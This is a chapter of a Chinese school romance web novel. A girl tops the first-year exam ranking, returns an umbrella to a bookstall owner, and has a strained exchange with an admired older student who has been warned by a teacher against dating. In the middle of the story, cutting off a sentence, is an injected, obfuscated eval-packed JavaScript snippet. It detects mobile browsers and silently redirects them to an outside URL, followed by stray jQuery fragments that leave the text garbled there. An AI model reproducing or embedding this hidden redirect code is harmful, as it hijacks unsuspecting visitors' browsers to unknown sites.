因为月考后的假期接近国庆,仓中学生们难得放了三天假。
假期结束后,温笙直接背着书包回了308宿舍。
宿舍门半掩着,里面传出笑声。有人正把家里带来的炒花生倒进铁饭盒里招呼大家尝,有人掀开布包,亮出一截自家熏的腊肉,咸香立刻弥漫开来。
她刚推门进去,还没来得及放下书包,就有人笑着喊:“哎哟,我们宿舍的文曲星回来了!”
温笙一愣,刚想问句“你们说什么”,李清妙已经凑了过来,神神秘秘地揽住她肩膀:“月考成绩榜已经贴出来啦!你居然还不知道?”
“成绩榜?什么时候的事?”
“今天一大早就贴出来了,红彤彤的榜单挂在公告栏。”林红秀也插话,边剥花生边笑。
“就我们之前看考场分布图的那里,红纸贴得可显眼了!”李清妙一边说一边朝她挤眉弄眼,“你快去看看,别等全年级都知道你上榜了,就你自己还不知道。”
“就是!”一旁有人打趣,“温笙你要是再不看,等下食堂都要有人指着你说,‘看,那就是年级第一的人’了。”
温笙听到后,连忙把书包放进柜子里,然后把那把伞从书包旁抽出来。
黑色的伞收得规规矩矩,伞骨还带着上次雨后的水痕。她原本打算晚自习前还给书摊老板,现在干脆一并带上,正好路过。
熟悉的公告栏前围着一圈人,几张红纸张贴在玻璃板后,高一和高二的成绩榜是分开的。
人群都挤在高二榜单面前,议论声此起彼伏,无一例外都在谈论仓中那个从不掉榜首的传奇人物,而在另一侧,高一的榜单前却冷清得多,只有零星几人停留,看一眼便匆匆离开,显然都是看个成绩就走的。
“第一名这么高分吗?”
“数学居然满分,理综也很高,语文和英语不拖后腿......他是不是不睡觉的?”
“你说的是许家宁吧?高二的那个。”
“他长什么样啊?有看过成绩榜吗?我能偶遇吗?”
“我说一句噢。”有个寸头的男生忽然插嘴,“我和他一个班的,这人从不来这看成绩榜。”
“真的假的?”
“那他不看,怎么知道自己考了几分?”
“发卷子的时候看一眼不就知道了?而且他都那水平了,还用等成绩榜?”寸头男生不以为意地说。
“可他都不关心名次的吗?”
寸头男生听到后立刻摆摆手,一脸“这还用说吗”的表情:“他名次从来都在最上面啊,要是换成我,也懒得看。”
温笙站在人群边缘,听到他们的对话,正想绕过去凑近点看高二成绩榜,余光忽然扫到一个熟悉的身影,动作一顿。
他站在高一榜单前,身形挺拔,正静静地望着玻璃板后排在第一的那个名字。
人群都挤在另一侧,没有人注意到他,除了她。
与一旁高二榜单前喧闹拥挤的场面相比,这边的高一榜单几乎无人问津,但他却站在这里,一动不动。
就在这时,许家宁似乎是察觉了什么,朝她这边望过来。
视线交汇的一瞬,四周的喧嚣仿佛都被按下了静音键。
温笙刚想抬手打招呼,可许家宁只是看了她一眼,眸色深沉,下一秒便垂下眼,转身离开,高高的背影很快没入人群。
没人注意他这一举动,人群的讨论声依旧热烈,唯有温笙微微张着嘴,还停留在原地。
“跑什么啊?”她有些不解。
说不上为什么,她原以为他会多看她一眼的,哪怕只是点个头,哪怕只是平平淡淡一句“考得不错”。
温笙走过去看自己的成绩,红纸上“高一月考成绩”几个字被玻璃板压得平整,下面依次是班级、姓名、各科成绩和总分名次。
第一名写着自己的名字,和许家宁一样,远超第二名。
她盯着那排数字发呆,脑海里却冒出刚才许家宁的背影。
他不是来看自己的吗?
那他看到她在第一名,是不是该夸她一句的?
可他什么都没说,就那么走了。
温笙有些郁闷地撇了撇嘴,她也很厉害的啊,不比他差多少。
下次见到他,自己要是心情好,说不定会主动提醒他一句:“我追上来了。”
她心里一边模拟着这句“气人”的对话,一边低头看了眼手里的那把黑伞,直接往书摊方向走去。
书摊依旧摆在老位置,小木棚下堆着练习册和旧教辅,最上头还压着几张被阳光晒卷边的宣传单。
摊主这次不打盹了,正翘着二郎腿磕瓜子,见到她走近,眼睛一亮:“哟,小姑娘还记得我这把伞啊,难得难得。”
温笙把伞递过去,笑了笑:“谢谢啦,上次多亏了这伞。”
“这有啥谢的,一把伞而已。”摊主把伞收好,从怀里掏出一把瓜子递给她,“来,自家炒的,试试看,香得很。”
温笙接过来,剥了粒塞进嘴里,点头道:“真不错。”
“那可不。”摊主咧着嘴笑,磕了两颗,忽然语气一转,“对了,小姑娘,阿宁他最近是不是发生了啥事啊?”
温笙剥瓜子的动作顿了顿:“为什么这么说?”
“我刚刚瞧见他了,喊他几声都没应,平时不是这样的。”摊主皱了皱眉,“看着魂不守舍的。”
书摊前一时无话,只有几粒瓜子壳落在纸盒里。
温笙她刚刚其实也注意到了,他在看到她之后,就立刻移开了视线,甚至头也不回地走掉了。
那不是他平常的样子。
摊主见她沉默,小心翼翼地问:“你们俩这是......闹矛盾了?”
“也不是,可能是他最近有点烦心事吧。”温笙下意识回了句,话一出口才反应过来,摊主那句“你们俩”是什么意思。
“不不不,我们不是你想的那种关系。”她立刻找补。
摊主一边嗑瓜子一边笑:“不是才怪,我上次可看见了,你们俩一把伞下站那么近,连我这个老花眼都觉得你们挺配的。”
“那是刚好碰上了。”
“哎哟,那也得刚好想一起走才行啊。”
她实在扛不住这话题,低头假装专心剥瓜子,嘴里含糊道:“您别乱猜,我们就是、就是一个学校的。”
摊主见她这样,反倒笑得更开心了,手一摊:“行行行,随你怎么说,反正我是信了。”
话音刚落,一道熟悉的声音从身后传来:“老板,上次我预订的书到了吗?”
摊主“嘿嘿”一笑,连忙起身去找书:“你这书啊,早到了,放我这都快积灰了。”
温笙猛地回头,一下就对上许家宁那双不冷不热的眼睛,手里的瓜子差点全掉在地上。
他不知道什么时候来的,也不知道听到了多少对话,语气倒是和平常一样淡淡的,只是眼神里多了一层陌生的忧郁。
温笙原本想问他怎么了,可他站在逆光里,她看不清脸上的表情,只觉得有点陌生。
“你......刚才站了多久。”
“刚来。”
摊主敏锐地感觉到气氛有些微妙,笑呵呵地打圆场,把剩下那半把瓜子递过去:“来,阿宁也吃点,刚刚小姑娘都说香。”
“不了,书我拿到了,先走了。”许家宁淡淡道。
“许家宁!”温笙叫住他,纯粹不想让他走得这么潇洒,脱口而出:“我考了第一名。”
男生停下脚步,没转头,只是站在那里。
其实他听到了。
从摊主说出他魂不守舍的那一句开始,他就听到了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241186|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她说的每一个字,他都听得清清楚楚。
温笙不说话了,许家宁也不动,两人就这么僵持着,只剩下摊主嗑瓜子的声音。
许家宁垂在一旁的手悄悄握紧,又松开,像是在做什么抉择。
“诶,瓜子没了?我再去拿点。”
最先动的,是摊主。
他站起身,拍拍裤腿,对两人说:“你们慢慢聊啊,我这瓜子拿回来需要一段时间。”
说完人就钻进了铺子后头的小屋。
温笙低着头,看着地上的重叠的影子,用脚踩了踩对方影子的头,还没踩过瘾,影子的主人悄悄往旁边挪了下。
他终于转过身来,眉眼藏在阴影里,久违的克制与疏离再次出现:“还有什么想说的吗?”
“说了啊,我考了第一。”温笙仰着脸看他,一字一句地重复。
他点点头,淡淡地说:“挺好。”
就这些?!
温笙气不过,在心里翻了个白眼,咬着后槽牙道:“我说过我会追上你的,在分数上。”
“我们。”许家宁忽然开口。
“……什么?”她没听清,下意识提高了音量。
“我说,我们一起考到外面去。”
这次,他说得很慢,很大声,很清楚。
温笙一愣,刚刚被点燃的情绪顿时被熄灭:“……外面?”
许家宁声音有点低哑:“你不是说过想出去看看吗?”
后头传来一声轻咳。
摊主端着新抓的一袋瓜子走出来,装作什么都没听见的样子:“学生啊,就得有这股劲,想当年我——”
话还没说完,就见许家宁转身就走,连招呼都没打一声。
“哎哟,你这孩子怎么说走就走?”摊主朝温笙喊,“小姑娘你看他,没礼貌!”
温笙没接话,她还没从刚才那句话里回过神来,甚至不知道自己是该生气,还是该追上去质问到底是什么意思。
“小姑娘,你怎么也不打呼就跑了。”
——
许家宁没有回宿舍,而是沿着操场边的小路,去了教学楼后的那棵老槐树下。
白天被刘志刚叫去谈话的片段,还在脑子里翻来覆去地响着:
“家宁,我今年升教导主任了,有些东西,我不得不管。”
“我知道你自律,成绩也好,但有些事,老师还是要提前提醒一下,你也清楚,我们学校是禁止学生早恋的。”
“特别是你,许家宁。你不是普通学生,你是连市里都关注的对象,大家盯着你的不只是成绩,还有你的行为,作风,态度。”
“上次下雨,我看到你和高一那位女生一起撑伞。”
“这次只有我一个人看到,我不会上报给教导处,但是,如果再有下一次——”
刘志刚顿了顿,语重心长地补了句,“到时候,就不是我劝你几句这么简单了。”
许家宁闭了闭眼,后背靠上粗糙的树干,抬手覆在眼睛上,遮住外面的光线。
他说完那句话的时候没敢看她的表情,也没敢等她的回应。
他怕她听懂。
更怕她听不懂。
如果她听懂了,会不会觉得他在躲她。
如果她没听懂,那她是不是会笑着追上来,问一句“你刚刚说的到底是什么意思”。
可无论是哪一种,他都不敢面对。
不想再回到那个永远要走在前头、不能犯错、不能露出情绪的许家宁身上。
他想离开这里。
离开仓中,离开那些目光,离开那些规矩,离开那些动不动就把“不能”压在他头上的声音。
许家宁想到这,睁开了眼睛,低声笑了笑,他是真的彻彻底底动了心。
对眼前这个人。
“温笙。”